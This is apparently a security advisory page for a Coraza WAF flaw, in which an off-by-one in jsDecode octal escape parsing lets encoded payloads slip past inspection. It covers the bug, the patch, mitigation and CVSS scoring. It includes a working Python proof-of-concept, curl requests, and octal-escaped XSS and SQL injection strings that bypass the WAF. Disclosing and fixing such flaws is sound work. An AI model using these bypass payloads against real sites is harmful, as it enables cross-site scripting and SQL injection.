Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass
Description
### Summary The `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled. Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected. ### Details Vulnerable code: `internal/transformations/js_decode.go:64-70.` ```go case (i+1 < inputLen) && isodigit(input[i+1]): /* \OOO (only one byte, \000 - \377) */ buf := make([]byte, 3) j := 0 for (i+1+j < inputLen) && (j < 3) { buf[j] = input[i+j] // this should be `input[i+1+j]` j++ if !isodigit(input[i+j]) { break } } ``` This is because, when entering octal mode, the loop variable `i` points to the backslash character `\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\u` and `\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded. For example, Input `\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = ‘\’ ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(‘1’)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = ‘1’`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(‘6’)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = ‘6’`. The counter increments to 3, at which point the loop condition `j < 3` is no longer satisfied. Final buffer: `buf = [‘\’, ‘1’, ‘6’]`. The buffer is truncated when `j = 2` (because `buf[0] = ‘\’ > ‘3’`), leaving `[‘\’, ‘1’]`. This error affects all octal escape sequences (from `\000` to `\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\377` is normally decoded as `\xff` or 255 ```go // Bug: buf = ['\', '3', '7'] to string(buf) = "\\37" nn, _ = strconv.ParseInt("\\37", 8, 8) // nn = 0 // Correct: buf = ['3', '7', '7'] = "377" nn, _ = strconv.ParseInt("377", 8, 8) // nn = 255 = 0xFF ``` ### PoC #### Test Environment Coraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded. #### PoC Executable Script ```python #!/usr/bin/env python3 import urllib.request, sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090" normal_url = f"{TARGET}/?q=%3Cscript%3E" octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" print(f"[Normal XSS: {normal_url}") try: urllib.request.urlopen(normal_url) print(" Response: 200 ") except urllib.error.HTTPError as e: print(f" Response: {e.code}") print(f"\nBypass JS octal-escaped XSS: {octal_url}") try: urllib.request.urlopen(octal_url) print(" Response: 200 (BYPASS)") except urllib.error.HTTPError as e: print(f" Response: {e.code}") ``` output: ``` Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E Response: 403 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E Response: 200 (BYPASS) ``` #### Proof - Normal Test ```bash curl -v -s "http://127.0.0.1:8090/?q=%3Cscript%3E" < HTTP/1.1 403 Forbidden < Date: Wed, 01 Jul 2026 16:09:04 GMT ``` - Bypass Test ``` curl -v -s "http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" < HTTP/1.1 200 OK < Date: Wed, 01 Jul 2026 16:09:04 GMT < Content-Length: 39 < Hello world, transaction not disrupted. ``` - Log Proof ``` 2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id="<txid>" is_interrupted=false ``` ### Impact Attackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities. #### Real-world attack scenarios: **SQL injection bypass.** A rule using `t:jsDecode` received `\47\117\122\40\61\75\61` (i.e., `' OR 1=1`). This octal string decodes to `\0...`, so the rule did not match the SQL injection pattern. ### Affected Versions Coraza WAF v3.0.0 - v3.7.0 ### Resolution Fixed in `internal/transformations/js_decode.go`'s `\OOO` octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed: 1. **The reported off-by-one** (`buf[j] = input[i+j]` → `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above. 2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` — a *signed* 8-bit parse. Octal values `\200`-`\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\000`-`\377` range decodes correctly. 3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`'s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\0`-`\777`, i.e. up to decimal 511), any value above `\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's `strtol(...) & 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\400`-`\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`. Verified end-to-end: both PoC payloads from this report now decode correctly — `<\163\143\162\151\160\164>` → `<script>`, and `\47\117\122\40\61\75\61` → `'OR 1=1` — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage. Extensive regression tests were added covering the full octal range (including the `\200`-`\377` high-byte range and the `\400`-`\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim. ### Mitigation Upgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is: ```go for (i+1+j < inputLen) && (j < 3) { buf[j] = input[i+1+j] j++ if i+1+j >= inputLen || !isodigit(input[i+1+j]) { break } } ... nn, _ := strconv.ParseUint(string(buf), 8, 8) ``` ### Severity (revised 2026-10-02) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium). Attack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass. Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately. _AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._
CVSS v3.1 base metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:NMedium severity
Band computed from the CVSS base score, not the source's own label — so it means the same thing across every feed.
AV
Network
Attack Vector
AC
Low
Attack Complexity
PR
None
Privileges Required
UI
None
User Interaction
S
Changed
Scope
C
None
Confidentiality
I
Low
Integrity
A
None
Availability
Affected
- Vendor
- Go
- Product
- github.com/corazawaf/coraza/v3
Versions
- pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0
Stated as the source expressed them.
References
- advisoryOSV GHSA-pc5q-qfxp-ggqvhttps://osv.dev/vulnerability/GHSA-pc5q-qfxp-ggqv
- otherOSV webhttps://github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv
- otherOSV webhttps://github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2
- vendorOSV packagehttps://github.com/corazawaf/coraza
- otherOSV webhttps://github.com/corazawaf/coraza/releases/tag/v3.8.0
Related threats
same CWE or vendorCVE-2026-16916 — IBM Security Verify Access 10.0 through 10.0.9.2 and IBM Verify Identity Access 11.0 through 11.0.3 could allow a remote authenticated attacker to …
CVE-2026-16916 · 2h ago
PraisonAI: Prompt-injection defense blocks only when 3+ detector families fire simultaneously; realistic single-vector injections pass through unblocked
CVE-2026-60086 · 4h ago
CVE-2026-107386 — amqp091-go is a Go AMQP 0.9.1 client.
CVE-2026-107386 · 4h ago
CVE-2026-107697 — FFmpeg before 8.1.3 contains a protection mechanism failure in the HLS demuxer that allows attackers to bypass protocol and allowed_extensions rest…
CVE-2026-107697 · 5h ago
Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor
OSV · 6h ago
Coraza: URL-encoded form Content-Type parameters bypass Coraza body inspection
OSV · 6h ago